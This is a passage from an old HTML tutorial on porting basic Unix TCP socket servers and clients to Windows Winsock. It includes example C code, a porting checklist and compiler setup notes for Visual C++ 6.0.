<br>&nbsp; struct sockaddr_in client;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /*

client's address information */

<p>&nbsp; int sin_size;

<br>&nbsp;

<p>&nbsp; if ((fd=socket(AF_INET, SOCK_STREAM, 0)) == -1 )&nbsp;&nbsp;&nbsp;

/* calls socket() */

<br>&nbsp; {

<br>&nbsp;&nbsp;&nbsp; printf("socket() error\n");

<br>&nbsp;&nbsp;&nbsp; exit(-1);

<br>&nbsp; }

<p>&nbsp; server.sin_family&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = AF_INET;

<br>&nbsp; server.sin_port&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;

= htons(PORT);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* Remember htons() from "Conversions"

section? =) */

<br>&nbsp; server.sin_addr.s_addr&nbsp; = INADDR_ANY;&nbsp;&nbsp;&nbsp;&nbsp;

/* INADDR_ANY puts your IP address automatically */

<p>&nbsp;

<br>&nbsp; if(bind(fd,(struct sockaddr*)&amp;server,sizeof(struct sockaddr))==-1)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;

/* calls bind() */

<br>&nbsp; {

<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("bind() error\n");

<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; exit(-1);

<br>&nbsp; }

<br>&nbsp;

<p>&nbsp; if(listen(fd,BACKLOG) == -1)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /*

calls listen() */

<br>&nbsp; {

<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("listen() error\n");

<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; exit(-1);

<br>&nbsp; }

<br>&nbsp;

<p>while(1)

<br>&nbsp; {

<br>&nbsp; sin_size=sizeof(struct sockaddr_in);

<p>&nbsp; if ((fd2 = accept(fd,(struct sockaddr *)&amp;client,&amp;sin_size))

== -1)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* calls accept()

*/

<br>&nbsp; {

<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("accept() error\n");

<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; exit(-1);

<br>&nbsp; }

<br>&nbsp;

<br>&nbsp; printf("You got a connection from %s\n",inet_ntoa(client.sin_addr)

);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* prints client's IP */

<br>&nbsp;

<br>&nbsp; send(fd2,"Welcome to my server.\n",22,0);&nbsp;&nbsp;&nbsp;

/* send to the client welcome message */

<br>&nbsp;

<br>&nbsp; closesocket(fd2);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /*&nbsp;

close fd2 */

<p>&nbsp;

<br>&nbsp;&nbsp; WSACleanup();

<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return -1;

<br>}

<br>}

<p>/* &lt;---- SOURCE CODE ENDS HERE ----> */

<br>&nbsp;

<br>&nbsp;

<p>[ 10.3 ] STREAMING CLIENT

<br>&nbsp;

<br>&nbsp;

<p>/* &lt;---- SOURCE CODE STARTS HERE ----> */

<p>#include &lt;stdio.h>

<br>#include &lt;sys/types.h>

<br>#include &lt;sys/socket.h>

<br>#include &lt;netinet/in.h>

<br>#include &lt;netdb.h>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /*

netbd.h is needed for struct hostent =) */

<p>#define PORT 3550&nbsp;&nbsp; /* Open Port on Remote Host */

<br>#define MAXDATASIZE 100&nbsp;&nbsp; /* Max number of bytes of data

*/

<p>int main(int argc, char *argv[])

<br>{

<br>&nbsp; int fd, numbytes;&nbsp;&nbsp; /* files descriptors */

<br>&nbsp; char buf[MAXDATASIZE];&nbsp; /* buf will store received text

*/

<br>&nbsp;

<br>&nbsp; struct hostent *he;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;

/* structure that will get information about remote host */

<br>&nbsp; struct sockaddr_in server;&nbsp; /* server's address information

*/

<p>&nbsp; if (argc !=2) {&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* this is

used because our program will need one argument (IP) */

<br>&nbsp;&nbsp;&nbsp; printf("Usage: %s &lt;IP Address>\n",argv[0]);

<br>&nbsp;&nbsp;&nbsp; exit(-1);

<br>&nbsp; }

<p>&nbsp; if ((he=gethostbyname(argv[1]))==NULL){ /* calls gethostbyname()

*/

<br>&nbsp;&nbsp;&nbsp; printf("gethostbyname() error\n");

<br>&nbsp;&nbsp;&nbsp; exit(-1);

<br>&nbsp; }

<p>&nbsp; if ((fd=socket(AF_INET, SOCK_STREAM, 0))==-1){&nbsp; /* calls

socket() */

<br>&nbsp;&nbsp;&nbsp; printf("socket() error\n");

<br>&nbsp;&nbsp;&nbsp; exit(-1);

<br>&nbsp; }

<p>&nbsp; server.sin_family = AF_INET;

<br>&nbsp; server.sin_port = htons(PORT); /* htons() is needed again */

<br>&nbsp; server.sin_addr = *((struct in_addr *)he->h_addr);&nbsp; /*he->h_addr

passes "*he"'s info to "h_addr" */

<br>&nbsp; bzero(&amp;(server.sin_zero),8);

<p>&nbsp; if(connect(fd, (struct sockaddr *)&amp;server,sizeof(struct sockaddr))==-1){

/* calls connect() */

<br>&nbsp;&nbsp;&nbsp; printf("connect() error\n");

<br>&nbsp;&nbsp;&nbsp; exit(-1);

<br>&nbsp; }

<p>&nbsp; if ((numbytes=recv(fd,buf,MAXDATASIZE,0)) == -1){&nbsp; /* calls

recv() */

<br>&nbsp;&nbsp;&nbsp; printf("recv() error\n");

<br>&nbsp;&nbsp;&nbsp; exit(-1);

<br>&nbsp; }

<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; buf[numbytes]='\0';

<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("Server Message: %s\n",buf); /*

it prints server's welcome message =) */

<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; close(fd);&nbsp;&nbsp; /* close fd =)

*/

<br>}

<p>/* &lt;---- SOURCE CODE ENDS HERE ----> */

<br>&nbsp;

<p>That’s the source code for the Unix client and of course the windows

one doesn't

<br>look very different.

<br>&nbsp;

<p>/* &lt;---- SOURCE CODE STARTS HERE ----> */

<p>#include &lt;windows.h>

<br>#include &lt;stdio.h>

<p>#define PORT 3550&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* Open Port on

Remote Host */

<br>#define MAXDATASIZE 100&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* Max number

of bytes of data */

<p>int main(int argc, char *argv[])

<br>{

<br>&nbsp; WSADATA&nbsp; wsdata;

<p>&nbsp; WSAStartup(0x0101,&amp;wsdata);

<p>&nbsp; int fd, numbytes;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* files descriptors

*/

<br>&nbsp; char buf[MAXDATASIZE];&nbsp;&nbsp;&nbsp;&nbsp; /* buf will store

received text */

<br>&nbsp;

<br>&nbsp; struct hostent *he;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;

/* structure that will get information about remote host */

<br>&nbsp; struct sockaddr_in server;&nbsp;&nbsp;&nbsp; /* server's address

information */

<p>&nbsp; if (argc !=2) {&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;

/* this is used because our program will need one argument (IP) */

<br>&nbsp;&nbsp;&nbsp; printf("Usage: %s &lt;IP Address>\n",argv[0]);

<br>&nbsp;&nbsp;&nbsp; exit(-1);

<br>&nbsp; }

<p>&nbsp; if ((he=gethostbyname(argv[1])) == NULL){ /* calls gethostbyname()

*/

<br>&nbsp;&nbsp;&nbsp; printf("gethostbyname() error\n");

<br>&nbsp;&nbsp;&nbsp; exit(-1);

<br>&nbsp; }

<p>&nbsp; if ((fd=socket(AF_INET, SOCK_STREAM, 0))==-1) /* calls socket()

*/

<br>&nbsp; {

<br>&nbsp;&nbsp;&nbsp; printf("socket() error\n");

<br>&nbsp;&nbsp;&nbsp; exit(-1);

<br>&nbsp; }

<p>&nbsp; server.sin_family&nbsp; = AF_INET;

<br>&nbsp; server.sin_port&nbsp;&nbsp;&nbsp; = htons(PORT);&nbsp;&nbsp;&nbsp;&nbsp;

/* htons() is needed again */

<br>&nbsp; server.sin_addr&nbsp;&nbsp;&nbsp; = *((struct in_addr *)he->h_addr);&nbsp;&nbsp;

/*he->h_addr passes "*he"'s info to "h_addr" */

<br>&nbsp;

<p>&nbsp; if(connect(fd, (struct sockaddr *)&amp;server,sizeof(struct sockaddr))==-1)&nbsp;

/* calls connect() */

<br>&nbsp; {

<br>&nbsp;&nbsp;&nbsp; printf("connect() error\n");

<br>&nbsp;&nbsp;&nbsp; exit(-1);

<br>&nbsp; }

<p>&nbsp; if ((numbytes=recv(fd,buf,MAXDATASIZE,0)) == -1)&nbsp;&nbsp;&nbsp;

/* calls recv() */

<br>&nbsp; {

<br>&nbsp;&nbsp;&nbsp; printf("recv() error\n");

<br>&nbsp;&nbsp;&nbsp; exit(-1);

<br>&nbsp; }

<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; buf[numbytes] = '\0';

<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("Server Message: %s\n",buf);&nbsp;&nbsp;&nbsp;

/* it prints server's welcome message =) */

<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; closesocket(fd);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;

/* close fd =) */

<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; WSACleanup();

<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return -1;

<br>}

<p>/* &lt;---- SOURCE CODE ENDS HERE ----> */

<br>&nbsp;

<p>There’s actually no real difference with this port and the last. The

same lines are

<br>changed and the same functions are included as before.

<p>Start the program by switching to its directory on the command line

and typing

<p>streamclient.exe local host

<p>Where streamclient.exe is the name of the stream client program we just

ported

<br>naturally :).

<p>Just make sure that the previous example, the streaming server is running

and

<br>your away. The screen will print the line "Welcome to my server." Congratulations

<br>you’ve ported your first Unix Socket client and server to windows and

you received

<br>a line of text back from your own server :).

<p>

<hr SIZE=1 WIDTH="70%">

<br>&nbsp;

<br>&nbsp;

<p>11.0&nbsp;<a NAME="11"></a>Planning

<br>=======================================

<p>When porting its probably best to go trough things like a check list

before attempting

<br>to compile the bloody thing. Here’s a list of some recommendations

to run trough first.

<p>1. Replace all network header files with windows.h or winsock.h.

<br>2. Make sure to add WSAStartup() and WSACleanup() before and after

the code.

<br>3. Replace functions such as close() and ioctl() with windows counterparts.

<br>4. Take care of problems such as bzero() and add any windows specific

features like

<br>&nbsp;&nbsp; default ports.

<br>&nbsp;

<p>With so few and simple operations like this it would be pretty damn

easy to write

<br>a program that performs these actions for you, I doubt it would be

complete but hey

<br>it would save you a lot of time in the long run, especially with larger

applications.

<p>

<hr SIZE=1 WIDTH="70%">

<br>&nbsp;

<br>&nbsp;

<p>12.0<a NAME="12"></a> LAST WORDS

<br>==============

<p>Well that’s it for this tutorial, or at least this part of it. More

parts are planned so

<br>hopefully you should see them on blacksun soon :). This part covered

the basics of

<br>windows programming, there was no point in writing about UNIX programming

as bracaman

<br>has released a very good tutorial on basic UNIX sockets programming

which is available

<br>from blacksun.box.sk and code.box.sk.

<p>I will be discussing Unix sockets again however in the next part of

this tutorial but

<br>mostly in a porting sense. To see what’s planned for future parts so

far just look down :).

<br>&nbsp;

<p>Part 2. -&nbsp; GENERAL SOCKETS&nbsp; - Porting to windows and cross

platform code.

<br>Part 3.&nbsp; -&nbsp; RAW Sockets&nbsp;&nbsp;&nbsp;&nbsp; - Have more

control over packets with raw sockets.

<br>Part 4.&nbsp; -&nbsp; ADVANCED&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; - A real

world example by building an internet communication suite.

<br>Part 5.&nbsp; -&nbsp; FINISHING OFF&nbsp;&nbsp;&nbsp; - Putting it

all together in one big program.

<p>So that’s what’s still to come, but I may change some of these future

tutorials at any

<br>time before there released if I do so it will be to improve the series

in my view and

<br>remember send me comments and suggestions and your ideas might also

change the layout

<br>of following tutorials.

<br>&nbsp;

<p>Well thank you for reading this tutorial and visit my website to keep

up to date with

<br>the series and for add on code and articles to the series.

<p>- BR ;)

<br>&nbsp;

<p>*<a NAME="final"></a>FINAL NOTE*

<p>Id really like to thank Bracaman for everything including allowing me

to use code from

<br>his tutorial and please remember that this tutorial should be read

with his (after his

<br>1 even :P), so thanks for everything Bracaman it helped so much :).

<p>

<hr SIZE=1 WIDTH="70%">

<p>APPENDIX A - THE COMPILER<a NAME="appxA"></a>

<br>

<p>All of the programs in this tutorial have been tested under Microsoft

Visual C++ 6.0,

<br>im running Windows 2000 Professional edition and I have an Intel Pentium

2.

<p>To set up the compiler for Winsock programming you need to link Wsock32.lib

to your project.

<br>Under Visual C++ do the following.

<p>1. Select the File view tab.

<br>2. Right Click the files menu and go to Settings.

<br>3. Select the Link tab in Project Settings.

<br>4. Add Wsock32.lib to the list of .lib files and press ok.

<p>The winsock.h header file is included in windows.h so don’t worry about

that.

<p>

<hr SIZE=1 WIDTH="70%">

</body>

</html>

Read More